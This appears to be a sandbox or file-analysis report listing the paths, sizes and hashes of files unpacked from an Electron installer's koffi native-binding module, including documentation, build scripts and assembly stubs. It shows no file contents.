SSDEEP 192:V6oVG/Q3IDF3x329u8I4jaDEmDxC+tbNgI4qYkztgd1E/t8WDn5CxSY7Q6ns9icF:/VoQY3hQXDjKlyOljkxSYncjR6T3u
TLSH
T19D42BA172752627094B213D2A64E50EB9237D05633A2ADD038DD82743FA7CBD21B6FBD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

start.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\start.md
Size 3KB
SHA256 2624333facf7f80b21c6d422ecc9289dc069577e5f946f468eeecb4fde62205f
MD5 5e1efbdd7e48a3991e7cc2263096ab3b
SHA1 628d2739cfcf09ce109f18019d3ceec05ccaf9d6
SHA512 b707c7d763deab188e2c391abed0b22d4930b5e9dbd82bec5581f6b5a5d02a9be82c7dd6f23c50a83ce99d2a1e1e57be562a83968c826ff5d36547f478ce1a87
TLSH
T17961775322708076E4B132D3B54D70F6A337CEB53AA5B954A46E40E03F268DF1073A9A
MD5 SHA1 SHA512 TLSH

Submit Download

unions.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\unions.md
Size 5KB
SHA256 2adf36a1ce803786036fa7ee9cfd4ceca2f62cd6e0560554ce49315cbc67674d
MD5 0e0523e1d77692b545c6f1f2a40e5c45
SHA1 a59b010dd040321d605befae3cf6855938517d9c
SHA512 aa10ede69ac6715b259a5a8f6dd186f38128baaf04df82c7cb27d7f2e3e4a9dd3382bf03e45d72acc377cf02b6bdcc13dfb582fffd6b49d1ee34dd0634e430ae
SSDEEP 96:q9RlE6kZPlUpagS/8p8xMC162WM2TvaLETY3S1pyULD7sOke:qnG6kZPlU1SE6+C0v4JibyULD7sOke
TLSH
T124B177EE0311F634D4763296830D2763E13380B63596E9987C9DDD70DF1E4AFA1319AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

variables.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\doc\variables.md
Size 3KB
SHA256 4248d1c6494ae8d3fa3531178487edd0964ed1c4eaae35da4fc42cd83712f83a
MD5 d97e8d8cdc78c2d9c0e43a7810dfae12
SHA1 2906be02a8393c8097a13de141dea4626960d28a
SHA512 331ab14d56a8c63061e46fa7862dceb9b2241ad17e95cf0ce8a3604fd9bb11477cc6f23b70521732965889333b11dcb456853296ddf433d981d81d962e60957a
TLSH
T1A5713457674196F8D9F44245748A4056823AB4EA72E0F3E1BC8913ECBD018EBC1BAD6E
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\index.js
Size 20KB
SHA256 39e05b73cec3a65d5841906b97cb8c95055e6fb300271de0c0b5a7f918f2ca80
MD5 27d630491dbf84b14efa3593ba4e433f
SHA1 97860f419b310fa7213dcae04a48b2840579a636
SHA512 9c0e1e25404c16a3679cfc02b11c8ad9b515e067186926df04cc90cab57899dd805e247728a9adb958f4ecb10c11aa1b4a773730832eb9d0aa97e937a8973c0e
SSDEEP 192:UIcO3oqiuThaiRED6C3Sjzb81dqBV1mttNWG56q5CdrSW527ia3aiqQ26NXWHHqs:zXyj8v1n4Axh/9OG54VaWyQoMaP4PG0i
TLSH
T13292845E4AF720629323B178D36FA0457671C4835509DE087D8C9391AFC80F99AF6BF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\base.hh
Size 171KB
SHA256 bab8771c26713bad29ec2fe507ff5f16f84c3948dc08fc318a623cef04ec9a26
MD5 b94058bd946fcdbbc2d8df0f433af7a2
SHA1 b669f1d2fe4542d84ecec8fe1bc41815c7c439f0
SHA512 0f7b8daa090fd1a20548679812542f39730cd858b95e255735649fe8589e9ecf24d7a5a99e5aeeb46ca305fddd0fca57891d3d9261e58404754019dc170119ec
SSDEEP 1536:PvpRwqjChDXvS1utnFufsHGP+oo7sVqVie/q9vYCBlgO6:PRChD1tnFufsHgX5V8D
TLSH
T1CE04B4546CE7604196A2D3BA9F8B4010F23894673769CDF5BD0E6220AF434A9F2FDF94
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crc.inc

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\crc.inc
Size 200KB
SHA256 aeeea0b506cf505b884b7d8071a0a90ce353e0ce5c7a0454ca129a31c85a29d0
MD5 b8ef4cf46763d470fdce1243cac48318
SHA1 c2d335936442a9f3c370a45e0b01c5e684721cd3
SHA512 749d9f66f44fc097445541c7307d69d91a762118e06dfce1da25f14c2e049c7bd98821a976aeac0b0c7b83de691f05b95c16f31423dd35fd529f6c54da30e374
SSDEEP 1536:SWhvVuBgaWNcbkJcDC6zlL6SB0oNxgjAzQhYJYTpYwOqfYW+uFLswpkqOz+09+Y4:SW6BFWmLuppf5EdcxVR5yBGVvr7
TLSH
T1A1146188425704954707699CAAD158E06DAE85675DA03D28F3AC28C4DFBEB2CC7F373B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

crc_gen.py

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\crc_gen.py
Size 2KB
SHA256 605109bcb12c06748b022bb1a7948fe5e4c6376bc87b21d232fca9b1d9a241ec
MD5 62d1c2ffddb8ccf2e4f93bbba7b0981e
SHA1 88aacce8c861f8ca80e827e21e067cecceb97bac
SHA512 f67c8a6a171eeebfccc8f17cecdf6ba22611a9f11791fd11d83a00abddabf47af0e071b38236ea80d15bbe91415b784a8f69f4c6a71f1f7b0fbae9117b87d498
TLSH
T1914121A29CC466005B0390BC5DEDC922962CB7538A41BDB1BB5D96C71F42A39C3DEC8D
MD5 SHA1 SHA512 TLSH

Submit Download

mimetypes.inc

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\mimetypes.inc
Size 53KB
SHA256 f3a0c670fcb8f8ff9ea29ff1de9d646a1787187f0500118f7d084a80ab0cbc04
MD5 8bc4fd0e651a46a00127fde80009ebfa
SHA1 1643b3f9ee506b61b605c718eeaced113986e797
SHA512 4ff78975350da53ec8b5b4da41e8e570edc9f24ef875c4c76b218e97ef256ad4f8d016c94a2dbbba43899958786e81f6f7d8583509f3ef0a27bc1646641ad72a
SSDEEP 1536:tkUkAtcSyu2UssVnXIY/mi34b56hHl1WO/DhOpZz:dM
TLSH
T1F43344C2B4DF78BF2B972CFAD856959CAC271E2FF9CC8505BE8CC05C055F169022A15A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mimetypes_gen.py

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\mimetypes_gen.py
Size 1KB
SHA256 18e93987189889bed91f06b27ea80e16241ddb59f32409dae160cc54356f6236
MD5 85a2e0c36f3190b9a50686d74bddfa77
SHA1 5ea551de263b757d5d384952963fbd4aaedb1aea
SHA512 e6cc5ce254dac6a43b02880bfa7c2065f466d06ae3988d857ab524466289db4deee1e3e4e17a3c6e8608af225fa1a6261bbe8871f3546625fa2fb76a5c0a1bf9
TLSH
T1E84110201CCCA6506B93D17ECEAED601F3153C1B31547830B8ED89A43F80628C1EF898
MD5 SHA1 SHA512 TLSH

Submit Download

tower.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\tower.hh
Size 2KB
SHA256 49c73bfc47750187b556220489a0be158c178545f216ded075853ae1575f882b
MD5 7755c862af9fd2dd279e31e1e34bac36
SHA1 16958520498c7ee7f6c70de5c344aeaf18189b32
SHA512 2feae789dbfd269c943d45f9981ef2bc5719798b96d1e703c2fadcc6a014735a8048f7c3ca2c146050f40ed68a9f2b965731619523d11aca53949290b79f5f95
TLSH
T15B413477E9E57796C59A45B1DCC3CA0598205437B2218EB2760FA73ABF7608C80C9A34
MD5 SHA1 SHA512 TLSH

Submit Download

unicode.inc

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\unicode.inc
Size 35KB
SHA256 5678c732bf1026059b0363c8e1ead8669e09c57b973321b1931aeb64dc0fa56e
MD5 d16063b3518c104573df422d11be9bcc
SHA1 ed5f4324ffd7659fe1b98e3efda46f63b14ef967
SHA512 71f03e61d270b00bb15c2c52eefc7490738f8611fa8ef3ac87907d28473259179bd37e1a64a7a2e6e1cb9976a058713de200d256b2c15a7f71748d6a1ce60065
SSDEEP 768:KkS4TyQ5256j3IbWA6GPqv7X8IshABkbWA6GVPyn4EPH:Kks6p7X8UH
TLSH
T138F25368924D19C03513608CF314A523A2FC74736BF46F8BF62E5788EAABC4858B5D7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

unicode_gen.py

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\lib\native\base\unicode_gen.py
Size 4KB
SHA256 402e17c0b48c4d79da1234e10e57d7174b9103c376dd43ad9a1e044a9fb39944
MD5 ac6fce83cb314c3b4795dea5ae6c7f4d
SHA1 d7204931b2c48734d3088b1fdc6d043745c9d1fd
SHA512 c99fcf518a86acf4dc7cefd506f92a4e983de9af12f1a454c18dd0b6f856c2b6cd7970e64e1c4c224c0da819c2716a01416b5c339b41d139aa6c6c137fa9cac2
SSDEEP 96:O2K6bnQmTL4/4wMZE1WV8vizZBzq8OTe4oN+N09i9tKua9VbZSDbbWHbw64bbEAm:cAT6JA8kq8OTe4oNi7FcwiSEAtI
TLSH
T136A16521B89A55508B4713284DABE609A32C7A13E3016978FEEC73D42FC4835D7F5B9D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\package.json
Size 668B
SHA256 e65a6209988184f526c41ad03899795b42d0d5ba56796a7748ae1e9e94a335fb
MD5 96bc07ff194099b279857831dc0b1752
SHA1 aa85a67b2a53a034f5c03326e74e7abbbd5951b9
SHA512 649bafdc7618bc9add652b65468a9193e1d3d40842762d3af232d8b38717a33634881f2861155b8a857de972309fd0b06635a5d5b2ef1353b0209ee9a3c9a8cb
TLSH
T1830199B7C93029233AC80060E86E4502B23209170C94BD067353416DEFCD4EB26FD32E
MD5 SHA1 SHA512 TLSH

Submit Download

README.md

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\README.md
Size 3KB
SHA256 5fd2f3bb3c9bbb2f603e757b2a366ad8ce1eba23bd5683a12e5170c9d31a4ae5
MD5 7f8089f30a7cbd8eb22bc66207f6ef3c
SHA1 b68535f37a95bb32ce594c082d39e0e0d9911543
SHA512 632e8f694f56b19b52649fc50c4aad0a035aac4dc0417b716610782edd107851960094ac4329495029e7a1c62eb77e226a293f208a94effda3e4c1451132a55b
TLSH
T14F61723272D4922307A641C3B8E11BA2FA36C3DF1208356736EC3598135BD9A81FF667
MD5 SHA1 SHA512 TLSH

Submit Download

FindCNoke.cmake

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\assets\FindCNoke.cmake
Size 5KB
SHA256 e81954cb439202214648894dcf59a838ff31a2d903e7ae26fa3346a21cd9de8a
MD5 2b261312aa6b5ac9448bbd098293a1a1
SHA1 ed43571a598697768c08cdc12a86be235dc8199e
SHA512 2c44b1bbfade47d5a80de247bf9cca1479b16326d93dd9a4783dd8bcf3ca9b0648238888cfcc3f33630a3daba923832bf7654c3df60e01563a45b8bba4f5116d
SSDEEP 96:+WqnmNm7MZd7PggHSTf3GT83R53CUVp3P9M9z6I/TgM8nMx2k:KQtZd7PnHSTC+7lM9z6I/Tglnfk
TLSH
T10AB1423A76541DA283C3E075A9EA428A00F693672A474050BF5C91C45FB60B863EBEED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

toolchains.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\assets\toolchains.json
Size 6KB
SHA256 c09f4ccd3eee4da5f834af376376359cb8025f23fedd635a82860dc3594d88cf
MD5 2e2ff803838c4170ba079c0af61f85a0
SHA1 d57d7deb52ee78f4a4c1ef4b8bb86ac9b4da0926
SHA512 0bae4847edc7d4b7e2c310ff161f733dc9a92cad3e25bba325e1e69fcbe201f088a5b81d9958e79458cb6c4744af1c7fd9c5e70bde30e747f5e0cb48cc833014
SSDEEP 96:UyAkz97vAyzlGV1GxyLyzlGV1GxySUyzlGxZG1yvKS:UyfZvFKiy+KiyS5aoyx
TLSH
T19BD1B9A1C6B46E0772B05679356A076EA9E117E31E083C22F2CC855E0F0D5FF8271378
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

win_delay_hook.c

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\assets\win_delay_hook.c
Size 879B
SHA256 569e120d81b67fd9d19a40db4ae9d2f7b9c60549ef734c95a16183c5c2427e64
MD5 2329a5564c3a5b848e0fab8818e4b20c
SHA1 3c7975c2b27a6b77b6cb7921fd16f07650d2b0aa
SHA512 36300d14dc07fbb0a1a86e5aa75f3317c192a8e456c6f87bbc8a19a3516f7730a8bdfd67a9946ba0ec0d71d597623a1e52f6419663c208bd270dc9084ae1021e
TLSH
T1D51123E0BC9CE161840A090CEE729D3FB619A967601F4972351E65C63F150201FF4BC0
MD5 SHA1 SHA512 TLSH

Submit Download

cnoke.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\cnoke.js
Size 6KB
SHA256 dfa8d4d5a1e7e4cdd51ac2b656b93e816718d5912dcaa28002bf3d6cb3068b46
MD5 5c4e1ed34fa6ee4ee79a9673299975f3
SHA1 a6f3f69943a2eaaa63479c2ba6ec682cfedd9f53
SHA512 b9fd2426537f9d619744e49beab5717cd7284269c6a259d62c6214e829d6c5983f17f09caa30bd30315222e9497e8a601b14c22cffcf0bf5c08ab70600f19883
SSDEEP 96:d3GJlhDS8zUMzW19ajxBaZlEOJ6CyB8/gXFodUVtmsRxA:UJlhDSS9m9aWaq6CyK2bs
TLSH
T1B9E131052AFF163346272496D5D74814ED3A87BB03487DAE3D6CBEC05F8193180FEA98
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\package.json
Size 425B
SHA256 a0371e0bd7a973e052647d087e985e594f18b089443a92ab45d90ba275381554
MD5 e66ec1b2200aa2b0fae51e1ca93f03df
SHA1 64bcf24fa9e14a5b1d244fb6d019b1e39550a28b
SHA512 a42cd49d8b950045b68813e94638cf7268cb8e57664846eae43316dce08f9819d536ea0ce0b6bf71ea253e73d6f7ed22b06f71b2dec982109c298b80dffcc189
TLSH
T1D0E0E561993098331AC5029498611547BA2A490B4C987C293B67951C67EE8FB21F929E
MD5 SHA1 SHA512 TLSH

Submit Download

builder.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\src\builder.js
Size 17KB
SHA256 53a48af14d00256f3f60d6265d8bc637fe1fe50e0cbebb3ecc610bd9cc46b199
MD5 7f7ee4a61fcd702b9646f19a7a4b1859
SHA1 d65df0ad2d5d5210fbeb69559e6bb31d1dee4524
SHA512 3ad6f0d216e5273d4d9e39fbe1a028d662aa5ed3a94e5223f65378ef3cf68b89f780204ac0b1c64a4b4a52679238ad68a112dd24aa4ea676772aade44101ce31
SSDEEP 384:+Yl7NIcaf/inMPI/s/Cw9MhEtVv9yeDBldPEsxjc:+YlxItKMg/oCw9MhEtVv9yeDBllz5c
TLSH
T10B82942642F752232333B4BD6BEB80466AB9C9131309D51C7A4C57912FE097886F3BED
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\src\index.js
Size 247B
SHA256 01cdd6266047bdf69d79c0ea48fdcd830471282eddc0b9c8259558baaff62cd7
MD5 c3de2b22771386ba46ad88f2affe7693
SHA1 0475c9895486ff907f8dd75d172a49b664c4cea6
SHA512 5e4cb238cac5fdf939de3010d2b6ff27d3d56fc5b2e0a688b97803a92a87fcbb9f0ab1071c1880c3861acdebb80d8b6447a7143f286bd35aa228b887714c341b
TLSH
T124D05BA3A8B45420484606C4D4F49F36A8A6D4239085A871741C8293115A46405D98CD
MD5 SHA1 SHA512 TLSH

Submit Download

tools.js

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\cnoke\src\tools.js
Size 12KB
SHA256 7b12a3ddc0a7706b7e5cc6155537e9abf3c75c124e5ca38ab58c8dc0b8eea58a
MD5 b646903f885818c0128a29ea6dc07986
SHA1 60d3fa059c40cce9704ee6372353058615cde625
SHA512 b65d3191baecddcc09d6cbbd3f1ef466c1de91424b262faa8ef57169876ecf53f73d3bb2ca43497ad68e56a5599c2ce1d3262d2c90733db7f952d751b7955bb0
SSDEEP 192:+QH8fL4laPapCfzLDa1xc5j5nxI1nWZyWPuBqmR0ApfBn65bKtvmqdRgDD9j00sP:+YQaH7D1h0A25be/RgDDd00ssRwfgNQN
TLSH
T17942744949FA31224323F16ACBDBAC0EA2558447650B8D1CB98CA3D67FC07B9D5E17F4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CMakeLists.txt

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\CMakeLists.txt
Size 7KB
SHA256 a1582f5f227945f80b1841e9af205991e3dfbfccc76490e624eb2f3555f8fa67
MD5 53fa9b19984f064b5b3782d1124c6e26
SHA1 5c2075953b5489e2ae0cc55a55fb36639035d864
SHA512 603daac38495ac1240a97621e97b1f510bf15ef05cea93ec98d980c4e758485b29047bf773c94dc2e1dd7a8c544bb2dc33fe40e8307879a4e8908ed98e5a6b44
SSDEEP 192:YEEtjX3jYVjnr6jJTxiHho9xIlPyfol/Pm8t5aiQdhIKK:+tjHjYVjnujxalPSoRe8t5aiQdhIKK
TLSH
T1CFF18437651C183263C745D55FE0460A40C9A687798A0614FECDDA902FB9EF1F127BBC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_arm32_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_arm32_asm.S
Size 3KB
SHA256 fdf21db17e6e0e9de810e446190eb21873c0115cec5aa91cf17adfcb9f751e56
MD5 b02b194c57b53aac2261e644113bc7e0
SHA1 175ff6d4dfef092abf370ec3de1ccbf232dc5673
SHA512 3d5aa05bb7bc72303bf3d305642709a37cd4ded13db6a44fa282b3b7d3b1c47c5b79043f80e85303ceef91de86aa6c21c01a86cf51392f6014cb2b94b9640aa6
TLSH
T1EE813447BD0D131B4C74C5BA9DE58E05C32B14A7F2AACE18722E59CA2F45594F3FD8A0
MD5 SHA1 SHA512 TLSH

Submit Download

abi_arm64_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_arm64_asm.S
Size 4KB
SHA256 57692d1cad793c54c17075e8086233777c90dd8d8b2eeba1275c117670952f3b
MD5 eb06221b68842e036b692c05bf79f33f
SHA1 3cd26e84bc33999e68f62c17a215698a5bc5276c
SHA512 3a8c6cb701abfd78a426143e6a059e400d412bb91e132cc82dea096501557690998a802fd8672ce24350dd7440e405868362bb3fd0617748408e048d5a7f0a08
SSDEEP 96:+yCamFUTScYK6KDObC+ZTDCuGTgIIlLDnBgi4qHUYx5jYK6K8XRDmi0g+ZTDCets:nT2UTScYzAOO+ZTDCucgIdA0Yx5jYz1/
TLSH
T10BA1424ABC09333D0D19C23664DA9E12C25A58B3E2BED518B30BE7CD2F42135A3BD5D8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_arm64_asm.asm

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_arm64_asm.asm
Size 3KB
SHA256 2ec2d897e5246f15383e6a701007a4ce9841cf1ef1d31b892926e6bac2320fb6
MD5 19f7d9729f22c9eb4b994c0db3bcb814
SHA1 6e9d5fb51c8d8e8b20b2d8c1a36097341c43c574
SHA512 332a8a5599e7a13a02971c5bc2771b81ffbdf0f408f4032ada865058ee8aea6e392d389deb3a42e53d88176883a26e9a4a4321d533ee9d4d71b58a65732ef987
TLSH
T1AC81110DFC0EA7652D50DAB959CB4F13D26A0857A2FD9420B30F6B981F4153DC7AC2E8
MD5 SHA1 SHA512 TLSH

Submit Download

abi_loong64_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_loong64_asm.S
Size 4KB
SHA256 b495099f97aef59b22ce11f520a08cc622469546455745717c44b780428192f5
MD5 4b2614e8aaee5ca39bafcd4870f425b9
SHA1 92728f414dbc57e737e850978757e3604cfe3058
SHA512 51a7d58bd99239c0858dbdef835169ea112f4b9ad25a565c19377e06168cf818f1d0d223b8544cbe00ada025ab58ad1fa3337de2414286d57719a1dd49a763a0
SSDEEP 96:+Pjo46ckD+JjZhTyzx8GxQFHOF8i4qHUCR+0RF+tUnmSwd68Q6C+r:Uo4ODKjZhi18A0CkotmSug6C4
TLSH
T12791EDCAFD0BC6171450E58AC987D698CDAF699707AA0CD4F10E2FC53F8246DD3A91E8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_riscv64_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_riscv64_asm.S
Size 4KB
SHA256 45de40bd082fc1d0762df89188e4fdc4d6ab8c9a2a7bca193a3e095aab81f875
MD5 ebe3d01a69127300499b57a2716a5bce
SHA1 b5eba829c6b22be19efb09271881569bda5517b7
SHA512 507eb9d5cdc72f1fda710816f9c16bbfe5870a065504cf4a3b8eadc16046da7fb209f66d230e717d129cd4b17b4005cc38de9081315df8626ebd8a6c347205d8
SSDEEP 96:+PjovU3kob59yzx8GxQFHOFpi4qHU8zQJJhtUnmSwBbH5VJ:UovUUob5I1pA08zQTkmSOD5VJ
TLSH
T126912E45FD0A53690762D67D88DA8E80F58F2DB76BB94C90B09E6BCD2F45434D3AC0A8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_x64_sysv_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_x64_sysv_asm.S
Size 5KB
SHA256 55830267a9687ef43321f268bec922db28f38737b2b7901a9ded131933b32a5d
MD5 60b0d792cc30d29effd03fd637f40cec
SHA1 4bbfdec5818f01d93a97d4ecdd364ed56aef24bc
SHA512 a108f4f8037cede32b21c75dcc104716be50c94b6d7822f559aa97343107bbb4dd3680950044085b1c09f5db93b81182704ea59ad8a703fb9ec3b3d53124a2e6
SSDEEP 96:+yCamcbp1qONnd4HCSCaAQKIkLxS4vjBa7L7ap7Y7t7J7F7Wz7W7D79i4qHUYq5R:nTtbp1qONd4HCSCadGCA0Yq55qqGuDQ8
TLSH
T18EB15400BD0A13690AD5C759A8C79633D08EB97F66775928734A6FCD2F83930A7F9C48
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_x64_win_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_x64_win_asm.S
Size 3KB
SHA256 66d5f472d61ede2e914132036473de756df548b0fd244cb487a722cd78890da7
MD5 210d1a8936ba5c85fc1313d5436b1377
SHA1 27cde1da09fd85f4a8c221d498f39dd057f8002f
SHA512 d94db9984332d80d893974930c769543ca3f30a875d9f3b10054df2eb42d8fdf4e9b58ed419f88b6826a4993beabc7373ac1e074462e4c3015db4709239b3dc1
TLSH
T18F817112FE0A875519D0E70D98D6C3F3D18E7EAF227B1471B2590B851FC2872A39C885
MD5 SHA1 SHA512 TLSH

Submit Download

abi_x64_win_asm.asm

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_x64_win_asm.asm
Size 4KB
SHA256 6d638107d051c2d0d2c0d2feb67efe10a252c71bed119c71280aecb22f5cb30c
MD5 936336148ebd1b1b72c67e0277c84b53
SHA1 c7edaca718e27961c72061ae81f560d3d76b6f9f
SHA512 43b73309d845b174573cf49bd773ad4e6dbc99f2c984cc65108555f819334678f3b870b204896c480caafd22b5b80772eb1fbc02c9f313a7a8f079274ba07500
SSDEEP 96:u8bQI3vaxXj7ZAhldTmh/6rmhJrf66C4SVMIQnvaUZXPH7mlUfmyzpz+9OQK:Rb4vZfhi6rf66oMVyet+yzpzsOQK
TLSH
T13FA18313FA0B839E1DD0DF0594C686F7E39F7CAB6171046072A987621FD610D536CAE4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_x86_asm.S

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_x86_asm.S
Size 4KB
SHA256 1d0105e991176b807d39f4ab2b18295a7778c9963060645517873accba09b5a7
MD5 1e2a46e35f455c02e79866cda1e10912
SHA1 53d226bf27843d5f18edbb074715ef4c4feb67ff
SHA512 76d77fdd579d0b18ea7275ad5cc25258a095289aeb5d64ba20947f38f5786a6969f8810d6bcca9dcd406a227f055470af6356360c7914a76fd314c4b9f5181ff
SSDEEP 96:+PhilvWqYjQVMC9HxyRyiy4FqANGHUO7CssP5qXq8MuMKMCetUnmbqYjdKLMCCmt:hWqYj8MCkqAY0v7P5qX/MuMKMCNmbqY4
TLSH
T1E39152029C170EA409E4F189C9EDC7A3C20B1C5FA2F548DAF1EE8BC52FE41B0569959F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

abi_x86_asm.asm

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\abi_x86_asm.asm
Size 3KB
SHA256 fa8df97b24096427fa8717296e78a100c52606f6f14aa8e8178a77ef6fefee73
MD5 035113d30c90983581294940ed0fc898
SHA1 c7b16c96968d7eb232748574e672b3d51b4201f7
SHA512 44f767c2e6739936a0bc2c68ba3165eddeaf920e208cde46d6fbdac2eac01405f95b365e4872144d2ec55073ccab2af15e8c9aa18b90279325ece4ef78340ffd
TLSH
T1DE811671B816069F9690DF45C8C586BBEB2EBC5712F404D4B66D07650FD231BC2ACAE3
MD5 SHA1 SHA512 TLSH

Submit Download

call.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\call.hh
Size 4KB
SHA256 343688cf8ab6cf96df2e6090b664f4827d12c79a2f8e2287ef26d00278597661
MD5 ca7e73ad77c09782c88dea3400a207e7
SHA1 3ffb45b612059ac4640ce05c8d6a43198b94f7c2
SHA512 9b28326d443e9ea145978d9519e0bef166a46a9d07bf5d81c0fe3203dfb2e012b5e844bcaaa1e4beabe8016bc9d1db4332e1af45673c49a95b7235f1e46c513a
SSDEEP 96:m0pCfa9OQSfvu+158er3XVMDtrnz6k5O+vEXus0z+ap5o:9Ifa9/CD158eTctrnzr5JMXt0iso
TLSH
T1AAA185013BB25647083243649F4B6C82AC655623F6F2F1FA7DCD136D5F430D9A2A278E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

errno.inc

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\errno.inc
Size 8KB
SHA256 e33097d18eb694c136bdb0d0dd912dfd1ea62e9cc66f3f3a7efdd4da8b3e8eca
MD5 e843964e85d97c7d112da700ecf9a842
SHA1 87427792fecc6d06aaca03749af48cb4bb22ecd3
SHA512 91dc58e1a84e5836e19e71370c408b841f1c663b8b98dbde4c99b311f2bd79332fb9124f7964eb1d903446a8ff65912b66ca38e9937989866c611b9a4e82388b
SSDEEP 96:mnghghwhSlI+/x3GMGrB3VJOUsjaNnGmBla1mUoazCZURLaF53nnvCI/e9YazSlT:j/5VqUla1HoBURL23uo5
TLSH
T1E9028879F96B0CE687233495A68A0C3B0150DEAB07A6C1F4BB81ED993FDD47025BE447
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ffi.hh

Path C:\Users\Admin\AppData\Local\Temp\nsb79D0.tmp\7z-out\resources\app.asar.unpacked\node_modules\koffi\src\koffi\src\ffi.hh
Size 8KB
